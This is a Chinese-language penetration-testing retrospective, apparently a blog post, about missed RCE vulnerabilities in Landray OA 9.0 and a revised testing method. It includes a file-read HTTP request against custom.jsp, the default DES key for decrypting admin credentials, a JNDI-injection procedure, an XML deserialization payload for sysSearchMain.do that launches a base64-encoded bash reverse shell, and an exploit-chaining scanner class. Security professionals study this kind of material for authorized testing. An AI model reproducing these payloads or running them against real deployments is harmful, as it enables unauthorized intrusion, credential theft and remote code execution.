当前位置：首页 > news >正文

一次真实的渗透复盘：我是如何漏掉蓝凌OA的RCE漏洞，以及如何补救的

news 2026/5/2 23:25:30

蓝凌OA渗透实战：从漏洞遗漏到系统化排查的深度复盘

那天下午三点二十七分，我盯着友商渗透报告上标红的两个RCE漏洞记录，咖啡杯悬在半空——就在上周的联合测试中，我们团队负责的蓝凌OA系统评估报告里，这两个关键漏洞竟然完全缺席。手指无意识地敲击着桌面，我开始在脑海中回放整个测试过程：那个自以为"版本够新应该已修复"的武断判断，那些跳过的历史漏洞复现步骤，以及最终导致客户系统残留高危漏洞的连锁反应。

1. 漏洞遗漏的致命假设

渗透测试最危险的敌人从来不是复杂的WAF规则，而是测试人员脑海中那些未经检验的假设。当我看到目标系统使用的是蓝凌OA 9.0版本时，第一反应是"这个版本发布不到半年，那些2019年曝光的漏洞应该早就修复了"。这种思维定式直接导致后续测试方案出现致命盲区。

典型错误认知链：

新版本=已修复所有历史漏洞（错误）
官方补丁会覆盖所有攻击面（错误）
自动化扫描工具能发现所有RCE（严重错误）

实际测试中，我们过度依赖AWVS的扫描结果，仅对/admin.do等常见路径进行了基础验证。直到对比友商报告才发现，他们通过以下关键步骤发现了我们遗漏的漏洞：

系统版本指纹识别（实际包含未公告的补丁回退）
全量历史漏洞POC适应性改造
配置文件深度关联分析

2. 蓝凌OA漏洞链的立体化利用

真正的渗透高手看待OA系统从不孤立分析单个漏洞，而是构建三维攻击矩阵。以这次漏检的两个RCE为例，其实际杀伤力来自漏洞组合利用：

2.1 文件读取→密钥解密→JNDI注入攻击链

POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1 Host: target.com Content-Type: application/json {"body":{"file":"file:///WEB-INF/KmssConfig/admin.properties"}}

通过上述请求获取加密密码后，使用蓝凌默认DES密钥kmssAdminKey解密，即可获得后台管理凭证。这步操作在友商报告中仅用"通过配置文件获取管理员密码"一笔带过，实际包含三个技术要点：

加密字符串的尾部/r字符处理
DES解密时的CBC模式与PKCS5Padding参数设置
密钥多次编码的识别技巧

获得凭证后，完整的JNDI注入流程需要精确控制时序：

步骤	操作	时间窗口
1	启动marshalsec的RMI服务	需先于请求
2	托管恶意class文件	需保持可用
3	发送JNDI触发请求	前两步就绪后60秒内

2.2 XML反序列化到内存马植入

另一个被我们忽略的sysSearchMain.do漏洞，其利用过程远比公开POC复杂。关键突破点在于fdParameters参数的XML解析逻辑：

<java> <void class="bsh.Interpreter"> <void method="eval"> <string> Runtime.getRuntime().exec("bash -c {echo,YmFzaCA...}|{base64,-d}|{bash,-i}"); </string> </void> </void> </java>

实际测试中发现三个易错点：

Java版本兼容性问题（必须≤1.7）
BCEL编码的字节码转换误差
回显构造时的上下文ClassLoader处理

3. 系统性排查方案的重构

这次教训促使我们彻底重构了OA系统的测试方法论。新的检查清单包含以下核心改进：

蓝凌OA深度检测矩阵：

检测维度	传统方法	改进方案
版本识别	读取web.xml版本号	校验补丁文件MD5
路径探测	常见路径字典爆破	静态分析js映射
漏洞验证	独立POC测试	漏洞链场景验证
权限维持	常规webshell	多维度内存马

具体到技术实现，我们开发了自动化辅助工具链：

class LandrayScanner: def __init__(self): self.vuln_chains = { 'file_read': CustomJSPCheck(), 'jndi_injection': AdminDoExploit(), 'xml_deser': SysSearchMain() } def run_chain(self, target): for name, module in self.vuln_chains.items(): if not module.validate(target): return False module.exploit(target) return True